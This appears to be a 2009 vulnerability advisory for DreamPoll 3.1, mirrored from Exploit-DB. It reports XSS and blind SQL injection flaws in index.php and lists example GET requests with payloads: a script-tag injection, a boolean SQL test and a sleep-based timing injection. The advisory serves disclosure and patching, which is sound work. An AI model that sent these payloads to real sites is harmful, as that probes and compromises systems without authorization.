DreamPoll 3.1 XSS and SQL Injection Vulnerabilities

vendor:

DreamPoll

by:

Infosecstuff

7.5

CVSS

HIGH

XSS and SQL Injection

79, 89

CWE

Product Name: DreamPoll

Affected Version From: 3.1

Affected Version To: 3.1

Patch Exists: YES

Related CWE: N/A

CPE: a:dreamlevels:dreampoll:3.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

DreamPoll 3.1 XSS and SQL Injection Vulnerabilities

I discovered a number of XSS and SQL Injection vulnerabilities in the application. These vulnerabilities could be exploited to make unauthorized changes to a web site or compromise a client accessing a site that utilizes the application. Details of the vulnerabilities are as follows: XSS File: index.php Variable: recordsPerPage Example: GET /index.php?action=loginsortField=poll_default&sortDesc=1&recordsPerPage=1>?><ScRiPt%20%0d%0a>alert(911)%3B</ScRiPt> Blind SQL/Xpath Injection File: index.php Variable: sortField Example: GET /index.php?action=loginsortField=poll_default+and+31337-31337=0&sortDesc=1&recordsPerPage=20 Blind SQL Injection (Timing) File: index.php Variables: sortField, sortDesc, pageNumber Example: GET /index.php?action=loginsortField=poll_default+and+sleep(3)%23&sortDesc=1&recordsPerPage=20

Mitigation:

Contact the vendor for the available fix.

Source

Exploit-DB raw data:

During a recent security audit of the DreamPoll 3.1 software by Dreamlevels, I discovered a number of XSS and SQL Injection vulnerabilities in the application. These vulnerabilities could be exploited to make unauthorized changes to a web site or compromise a client accessing a site that utilizes the application. Details of the vulnerabilities are as follows:

XSS

????????-

File: index.php

Variable: recordsPerPage

Example: GET /index.php?action=loginsortField=poll_default&sortDesc=1&recordsPerPage=
1>?><ScRiPt%20%0d%0a>alert(911)%3B</ScRiPt>

Blind SQL/Xpath Injection

????????-

File: index.php

Variable: sortField

Example: GET /index.php?action=loginsortField=poll_default+and+31337-31337=0&sortDesc
=1&recordsPerPage=20

Blind SQL Injection (Timing)

????????-

File: index.php

Variables: sortField, sortDesc, pageNumber

Example: GET /index.php?action=loginsortField=poll_default+and+sleep(3)%23&sortDesc=1
&recordsPerPage=20

While not specifically tested, it is likely these vulnerabilities exist in earlier versions of this application as well. The vendor was notified on 09/28/2009 and a fix was released the same day. If you are a current user of this software, contact the vendor for the available fix.

http://www.infosecstuff.com